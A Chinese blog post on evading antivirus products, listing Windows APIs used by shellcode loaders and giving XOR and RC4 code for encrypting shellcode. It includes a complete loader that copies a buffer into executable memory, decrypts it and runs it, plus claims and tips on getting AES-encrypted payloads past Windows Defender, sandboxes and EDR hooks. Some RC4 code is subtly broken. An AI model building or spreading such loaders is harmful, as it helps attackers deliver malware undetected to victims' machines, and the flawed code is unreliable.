当前位置: 首页 > news >正文

免杀笔记 -->API的整理Shellcode加密(过DeFender)

最近更新频率明显下降我懒,那么今天就来记录一下我们的一些常用的API的整理以及ShellCode的加密。

1.WinAPI整理

问我为什么要整理? 就是用起来的时候要左翻右翻

  :: 烦死了

1.VirtualAlloc

VirtualAlloc(NULL,sizeof(buf),MEM_COMMIT,PAGE_EXECUTE_READWRITE);
  1. 该API是LPVOID返回
  2. 其中的sizeof(buf)是你要申请的长度
  3. PAGE_EXECUTE_READWRITE这个是这块内存的属性,你可以申请一个不完整的(没那么容易被杀的,然后转换)

2.Memcpy

memcpy(p,buf,sizeof(buf));
  1. 其中p是目的地址
  2. buf是源地址
  3. sizeof(buf)是源地址的长度

3.CreateThread

CreateThread(NULL, NULL, (LPTHREAD_START_ROUTINE)buffer, NULL, NULL, NULL);
  1. 第一个参数是安全属性,传入NULL默认是安全
  2. 第二个是默认堆栈大小,NULL是默认大小
  3. 第三个是指向线程执行的函数指针(存在强转)
  4. 第四个是要传递给函数的参数,NULL默认没有
  5. 第五个是默认控制线程的创建方式,NULL表示没有
  6. 最后一个是线程ID,NULL默认不需要返回ID
  7. 返回值就是HANDLE

4.VirtualProtect

VirtualProtect(p, length, PAGE_EXECUTE_READWRITE, NULL);
  1. 其中p是指向内存空间的指针
  2. 第三个参数是内存的属性

5.WriteProcessMemory

WriteProcessMemory(OriginalProcessHandle, RemoteMemory, dllpath, length, NULL);
  1. 第一个参数是原来的进程句柄
  2. 第二个参数就指定目标进程中要写入数据的起始地址
  3. 然后第三个参数就是指向要写入目标进程的数据的缓冲区的指针
  4. 第四个就是写入的长度

6.WaitForSingleObject

WaitForSingleObject(handle, INFINITE)
  1. 第一个参数就是创建完进程的handle
  2. 第二个参数直接写INFINET或者-1就好了

7.GetProcAddress

GetProcAddress(HDMDODULE,L"FUNCNAME")
  1. 第一个参数就是获取到的dll的HMODULE
  2. 第二个参数就是你要找的函数名字

8.CreateFileW

CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);
  1. 第一个参数就是你要打开或者新建的文件(这样写的话就是默认exe同文件夹下面有cs.dll)
  2. 第二个参数就是属性(一般不会用到ALL)
  3. 第六个参数就是你要选择OPEN_EXISTING还是ALWAYS_CREATE

9.GetFileSize

GetFileSize(hFile, NULL)

这个很明显就是获取长度,这个无需多言

10.HeapAlloc

在堆上分配可读可写内存(不可执行!!!)

HeapAlloc(GetProcessHeap, HEAP_ZERO_MEMORY, length)

11.ReadFile

将文件内容写到缓冲区中

ReadFile(hFile, FileBuffer, length, &RealLength, NULL);
  1. 第一个参数是刚才的文件的句柄 
  2. 第二个是申请的内存指针
  3. 第三个是内存指针的长度
  4. 第四个是实际返回的长度(常用来判断读取到的文字)

2.ShellCode的加密

1.异或加密

这个就是可以说是ShellCode加密最简单的一集了,下面就来个最简单的加密代码

异或加密其实就是将每一个字符都和一个key或者说一个数异或,这就形成了密文。

#include<iostream>
#include<Windows.h>
using namespace std;void encrypt(unsigned char *p , DWORD length,DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}
void decrypt(unsigned char* p, DWORD length, DWORD key)
{for (int i = 0; i < length; i++){p[i] = p[i] ^ key;printf("%02x ", p[i]);}cout << endl;
}unsigned char buf[] = "\xfc\x48\x83\xe4\xf0\xe8\xc8\x00\x00\x00\x41\x51\x41";int main()
{encrypt(buf, sizeof(buf), 12345);decrypt(buf, sizeof(buf), 12345);return 0;
}

 如果你想解密的话也很好办,直接再异或一次就好了(其实加密的代码完全可以再用一次)

当然了,你还可以搞难度大一点的,随机生成密钥,不过一般都不会这样操作,因为你随机生成密钥,总会有一方是无法操作的(或者说你把你的随机生成的加密密钥写到解密算法里面,不过这样感觉还不如直接传密钥)

2.RC4加密

这个加密还是用的比较多的,其实它的算法流程并没有变,变得只是我们的Key!!!

RC4的加解密需要经过两个流程

  1. RC4init
  2. RC4Cipher

我们一步一步来操作,先是RC4init

我们一般都会定义一个初始化的全局数组S 然后我们会对这个S有以下的操作

void RC4_init(unsigned char *p,unsigned char*key ,DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i ;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;char temp = p[i];p[i] = p[j];p[j] = temp;}
}

然后就是我们的RC4Cipher了,至于这两段代码为什么(我也布吉岛)

void RC4Cipher(unsigned char* p, char* file, unsigned char* key, DWORD length)
{int i = 0,j = 0;for (int k = 0; k< length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}

然后就是我们的完整代码了

#include<iostream>
#include<Windows.h>
using namespace std;unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = { 0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}void print(unsigned char* p, DWORD length)
{for (int i = 0; i < length; i++) {printf("%02x ", p[i]);}cout << endl;
}
int main()
{HANDLE hFile = CreateFileW(L"cs.dll", GENERIC_READ | GENERIC_WRITE, 0, NULL, OPEN_EXISTING, FILE_ATTRIBUTE_NORMAL, NULL);DWORD length = GetFileSize(hFile, NULL);unsigned char* FileBuffer = (unsigned char*)HeapAlloc(GetProcessHeap(), HEAP_ZERO_MEMORY, length);DWORD RealLength = 0;if (ReadFile(hFile, FileBuffer, length, &RealLength, NULL)){cout << "Read File Successfully" << endl;}RC4_init(s, key, sizeof(key));RC4Cipher(s, FileBuffer, key, sizeof(key));return 0;
}

我们也可以对一个shellcode加密并且解密上线看看效果,其实这里就是再执行这块内存之前,对他加了一次密(模仿提前加密好的ShellCode或者DLL),然后再对这块内存进行解密,并且执行

#include<iostream>
#include<Windows.h>
using namespace std;/* length: 891 bytes */
unsigned char buf[] = ""unsigned char s[256] = { 0x29 ,0x23 ,0xBE ,0x84 ,0xE1 ,0x6C ,0xD6 ,0xAE ,0x00 };
unsigned char key[256] = {0x61 ,0x64 ,0x6D ,0x69 ,0x6E ,0x00 };
void RC4_init(unsigned char* p, unsigned char* key, DWORD length)
{for (int i = 0; i < 256; i++){s[i] = i;}int j = 0, i;for (i = 0; i < 256; i++){j = (j + p[i] + key[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;}
}void RC4Cipher(unsigned char* p, unsigned char* file, unsigned char* key, DWORD length)
{int i = 0, j = 0;for (int k = 0; k < length; k++){i = (i + 1) % 256;j = (i + s[i]) % 256;unsigned char temp = p[i];p[i] = p[j];p[j] = temp;file[k] ^= s[(s[i] + s[j]) % 256];}
}int main()
{void* p = VirtualAlloc(NULL, sizeof(buf), MEM_COMMIT, PAGE_EXECUTE_READWRITE);memcpy(p, buf, sizeof(buf));RC4_init(s, key, sizeof(key));RC4Cipher(s,(unsigned char * )p, key, sizeof(key));RC4_init(s, key, sizeof(key));RC4Cipher(s, (unsigned char*)p, key, sizeof(key));((void(*)())p)();return 0;
}

3.AES加密

这个目前是最好的一种shellcode加密方式,无论是对比起RC4(Defender会杀),UUDI,IPV4这些

AES是能过Defender的!!!!(就算你不分离的情况下,就算熵很大!!!)

这里我就不贴代码了,但是我能给屏幕截图,理由大家都懂(不想让他这么快被杀)

然后就是来展示一下它的效果(这个我都没做分离,熵值其实挺大的)

这也说明我们Windows Defender的查杀特点

  1. 沙箱,当你将一个文件放进虚拟机的时候,首先就去defender的沙箱跑,所以这个loader第一步就是抗沙箱(当然,这个和360的QVM比不了)
  2. 内存扫描,当你进行危险操作dump lsass,注入shellcode的时候,defender就会对这块内存进行扫描,如果你是恶意的shellcode就会查杀(当然,这个和卡巴斯基也比不了)

除了用server的defender测试,还用了实体(我同学)的环境,也是能用过的!!!!

火绒

电脑管家

当然了,还有像UUID,IPV4,IPV6这种的加密方式,但是都不如AES加密强大,当然你也可以用RSA,总之加密方法有很多,自行选择。


当然,解密的密钥是不推荐直接写在loader里面,可以分离一个xml,txt,这样的文件(这样也有天然抗沙箱的作用),因为对于强的EDR会关注你的一些函数,然后在去hook你的解密后的内存,如果不做unhook等其他操作,就会被杀! 

相关文章:

免杀笔记 -->API的整理Shellcode加密(过DeFender)

最近更新频率明显下降我懒&#xff0c;那么今天就来记录一下我们的一些常用的API的整理以及ShellCode的加密。 1.WinAPI整理 问我为什么要整理&#xff1f; 就是用起来的时候要左翻右翻 &#xff1a;&#xff1a; 烦死了 1.VirtualAlloc VirtualAlloc(NULL,sizeof(buf),MEM_…...

Stable Diffusion 使用详解(3)---- ControlNet

背景 炼丹师在AI绘画的过程中&#xff0c;由于Stable Diffusion的原理是水滴式的扩散作图原理&#xff0c;其实在前面也有提到&#xff0c;他的发挥是‘不稳定’的&#xff0c;因为你没有办法做到精确控制&#xff0c;只能说是大致符合你的预期。你不能总依赖抽卡固定随机数种…...

pythonGame-实现简单的贪食蛇游戏

通过python简单复现贪食蛇游戏。 使用到的库函数&#xff1a; import pygame import time import random 游戏源码&#xff1a; import pygame import time import randompygame.init()white (255, 255, 255) yellow (255, 255, 102) black (0, 0, 0) red (213, 50, 80…...

2024年软件系统与信息处理国际会议(ICSSIP 2024)即将召开!

2024年软件系统与信息处理国际会议&#xff08;ICSSIP 2024&#xff09;将于2024年10月25-27日在中国昆明举行。引领技术前沿&#xff0c;共谋创新未来。ICSSIP 2024将汇聚来自世界各地的专家学者&#xff0c;他们将在会上分享最新的研究成果、技术突破及实践经验。会议议题涵盖…...

使用vscode连接开发机进行python debug

什么是debug&#xff1f; 当你刚开始学习Python编程时&#xff0c;可能会遇到代码不按预期运行的情况。这时&#xff0c;你就需要用到“debug”了。简单来说&#xff0c;“debug”就是能再程序中设置中断点并支持一行一行地运行代码&#xff0c;观测程序中变量的变化&#xff…...

(家用)汽车充电桩项目总结分析

1. 项目选题背景 &#xff08;1&#xff09;社招&#xff1a;公司想做这个方向&#xff0c;先让学习测试一下&#xff0c;而且不做Web或者APP&#xff0c;以某一个模块或者某一个部分为主 &#xff08;2&#xff09;非社招&#xff1a;之前在学校做的一个学习的项目 2. 充电…...

JMeter接口测试:测试中奖概率!

介绍 Apache JMeter 是 Apache 组织基于 Java 开发的压力测试工具&#xff0c;用于对软件做压力测试。JMeter 最初被设计用于 Web 应用测试&#xff0c;但后来扩展到了其他测试领域&#xff0c;可用于测试静态和动态资源&#xff0c;如静态文件、Java 小服务程序、CGI 脚本、J…...

生成式人工智能之路,从马尔可夫链到生成对抗网络

人工智能&#xff08;Artificial intelligence&#xff0c;AI&#xff09;技术在过去几年中取得了显著进展&#xff0c;其中生成式AI&#xff08;Generative AI&#xff09;因其强大的内容生成能力而备受关注。生成式AI可以创建新的文本、图像、音频、视频、代码以及其他形式的…...

qt做的分页控件

介绍 qt做的分页控件 如何使用 创建 Pagination必须基于一个QWidget创建&#xff0c;否则会引发错误。 Pagination* pa new Pagination(QWidget*);设置总页数 Pagination需要设置一个总的页数&#xff0c;来初始化页码。 pa->SetTotalItem(count);设置可选的每页数量…...

MySQL with recursive 用法浅析

目录 写在前面 语句功能 with recursive 语法讲解 细节补充 “union all”语句 添加递归终止条件 写在前面 介绍“with recursive”用法的文章不少&#xff0c;但我都觉得讲的不够通俗&#xff0c;所以干脆自己写一篇。话不多说&#xff0c;进入正题。 语句功能 with r…...

ROS2常用命令集合

文章目录 指令帮助创建功能包功能包查找编译执行节点查看话题服务命令接口命令动作命令参数命令录制控制命令 指令帮助 ros2 --help # 帮助查看命令创建功能包 ros2 pkg create 包名 --build-type 构建类型 --dependencies 依赖列表 --node-name 可执行程序名称功能包查找 …...

VUE 子组件可以直接改变父组件的数据吗

子组件不可以直接改变父组件的数据。‌在Vue中&#xff0c;‌数据流是单向的&#xff0c;‌即父组件通过props向子组件传递数据&#xff0c;‌而子组件不能直接修改父组件的数据。‌这是为了维护数据流动的单向性和数据的可维护性。‌ 如果子组件需要修改父组件的数据&#xf…...

Redis 持久化详解

AOF 持久化 AOF持久化数据恢复相对RDB慢&#xff0c;文件也更大&#xff0c;但数据丢失的风险更小。 AOF 写入 将数据写入Redis内存后&#xff0c;将写数据的命令记录到AOP磁盘文件。 【结构】server.aof_buf 主线程写操作执行完之后&#xff0c;命令会先追加到 Redis 的 se…...

基于riscv64架构的Dayu800开发板的napi_demo开发介绍

itopen组织1、提供OpenHarmony优雅实用的小工具2、手把手适配riscv qemu linux的三方库移植3、未来计划riscv qemu ohos的三方库移植 小程序开发4、一切拥抱开源&#xff0c;拥抱国产化 一、环境准备工作 1.1 Ubuntu20.04环境配置 如果已经配置OpenHarmony的编译环境则…...

HAL STM32 SPI/ABZ/PWM方式读取MT6816磁编码器数据

HAL STM32 SPI/ABZ/PWM方式读取MT6816磁编码器数据 &#x1f4da;MT6816相关资料&#xff08;来自商家的相关资料&#xff09;&#xff1a; 资料&#xff1a;https://pan.baidu.com/s/1CAbdLBRi2dmL4D7cFve1XA?pwd8888 提取码&#xff1a;8888&#x1f4cd;驱动代码编写&…...

HarmonyOS应用开发者高级认证,Next版本发布后最新题库 - 多选题序号5

基础认证题库请移步&#xff1a;HarmonyOS应用开发者基础认证题库 注&#xff1a;有读者反馈&#xff0c;题库的代码块比较多&#xff0c;打开文章时会卡死。所以笔者将题库拆分&#xff0c;单选题20个为一组&#xff0c;多选题10个为一组&#xff0c;题库目录如下&#xff0c;…...

Tekion 选择 ClickHouse Cloud 提升应用性能和指标监控

本文字数&#xff1a;4187&#xff1b;估计阅读时间&#xff1a;11 分钟 作者&#xff1a;ClickHouse team 本文在公众号【ClickHouseInc】首发 Tekion 由前 Tesla CIO Jay Vijayan 于 2016 年创立&#xff0c;利用大数据、人工智能和物联网等技术&#xff0c;为其汽车客户解决…...

mysql之触发器的使用

cr一&#xff1a;创建goods表和orders表&#xff1b; mysql> use mydb16_tirgeer Database changed mysql> create table goods(-> gid char(8) primary key,-> name varchar(10),-> price decimal(8,2),->-> num int); Query OK, 0 rows affected (0.0…...

使用Java和Hazelcast实现分布式数据存储

使用Java和Hazelcast实现分布式数据存储 大家好&#xff0c;我是微赚淘客系统3.0的小编&#xff0c;是个冬天不穿秋裤&#xff0c;天冷也要风度的程序猿&#xff01; 在分布式系统中&#xff0c;实现高效的数据存储和管理是非常重要的。Hazelcast作为一个内存数据网格(IMDG)&…...

Hi3751V560_SELinux

Hi3751V560_SELinux setenforce Enforcing setenforce Permissive(或“setenforce 0”) getenforce V560:demo本身的: [ 13.765161] type=1400 audit(1628821512.905:4): avc: denied { read } for pid=1926 comm="system_server" name="ifindex" d…...

SkyWalking 10.2.0 SWCK 配置过程

SkyWalking 10.2.0 & SWCK 配置过程 skywalking oap-server & ui 使用Docker安装在K8S集群以外&#xff0c;K8S集群中的微服务使用initContainer按命名空间将skywalking-java-agent注入到业务容器中。 SWCK有整套的解决方案&#xff0c;全安装在K8S群集中。 具体可参…...

UDP(Echoserver)

网络命令 Ping 命令 检测网络是否连通 使用方法: ping -c 次数 网址ping -c 3 www.baidu.comnetstat 命令 netstat 是一个用来查看网络状态的重要工具. 语法&#xff1a;netstat [选项] 功能&#xff1a;查看网络状态 常用选项&#xff1a; n 拒绝显示别名&#…...

汽车生产虚拟实训中的技能提升与生产优化​

在制造业蓬勃发展的大背景下&#xff0c;虚拟教学实训宛如一颗璀璨的新星&#xff0c;正发挥着不可或缺且日益凸显的关键作用&#xff0c;源源不断地为企业的稳健前行与创新发展注入磅礴强大的动力。就以汽车制造企业这一极具代表性的行业主体为例&#xff0c;汽车生产线上各类…...

【RockeMQ】第2节|RocketMQ快速实战以及核⼼概念详解(二)

升级Dledger高可用集群 一、主从架构的不足与Dledger的定位 主从架构缺陷 数据备份依赖Slave节点&#xff0c;但无自动故障转移能力&#xff0c;Master宕机后需人工切换&#xff0c;期间消息可能无法读取。Slave仅存储数据&#xff0c;无法主动升级为Master响应请求&#xff…...

今日科技热点速览

&#x1f525; 今日科技热点速览 &#x1f3ae; 任天堂Switch 2 正式发售 任天堂新一代游戏主机 Switch 2 今日正式上线发售&#xff0c;主打更强图形性能与沉浸式体验&#xff0c;支持多模态交互&#xff0c;受到全球玩家热捧 。 &#x1f916; 人工智能持续突破 DeepSeek-R1&…...

在WSL2的Ubuntu镜像中安装Docker

Docker官网链接: https://docs.docker.com/engine/install/ubuntu/ 1、运行以下命令卸载所有冲突的软件包&#xff1a; for pkg in docker.io docker-doc docker-compose docker-compose-v2 podman-docker containerd runc; do sudo apt-get remove $pkg; done2、设置Docker…...

音视频——I2S 协议详解

I2S 协议详解 I2S (Inter-IC Sound) 协议是一种串行总线协议&#xff0c;专门用于在数字音频设备之间传输数字音频数据。它由飞利浦&#xff08;Philips&#xff09;公司开发&#xff0c;以其简单、高效和广泛的兼容性而闻名。 1. 信号线 I2S 协议通常使用三根或四根信号线&a…...

在鸿蒙HarmonyOS 5中使用DevEco Studio实现企业微信功能

1. 开发环境准备 ​​安装DevEco Studio 3.1​​&#xff1a; 从华为开发者官网下载最新版DevEco Studio安装HarmonyOS 5.0 SDK ​​项目配置​​&#xff1a; // module.json5 {"module": {"requestPermissions": [{"name": "ohos.permis…...

深入理解Optional:处理空指针异常

1. 使用Optional处理可能为空的集合 在Java开发中&#xff0c;集合判空是一个常见但容易出错的场景。传统方式虽然可行&#xff0c;但存在一些潜在问题&#xff1a; // 传统判空方式 if (!CollectionUtils.isEmpty(userInfoList)) {for (UserInfo userInfo : userInfoList) {…...

Kafka主题运维全指南:从基础配置到故障处理

#作者&#xff1a;张桐瑞 文章目录 主题日常管理1. 修改主题分区。2. 修改主题级别参数。3. 变更副本数。4. 修改主题限速。5.主题分区迁移。6. 常见主题错误处理常见错误1&#xff1a;主题删除失败。常见错误2&#xff1a;__consumer_offsets占用太多的磁盘。 主题日常管理 …...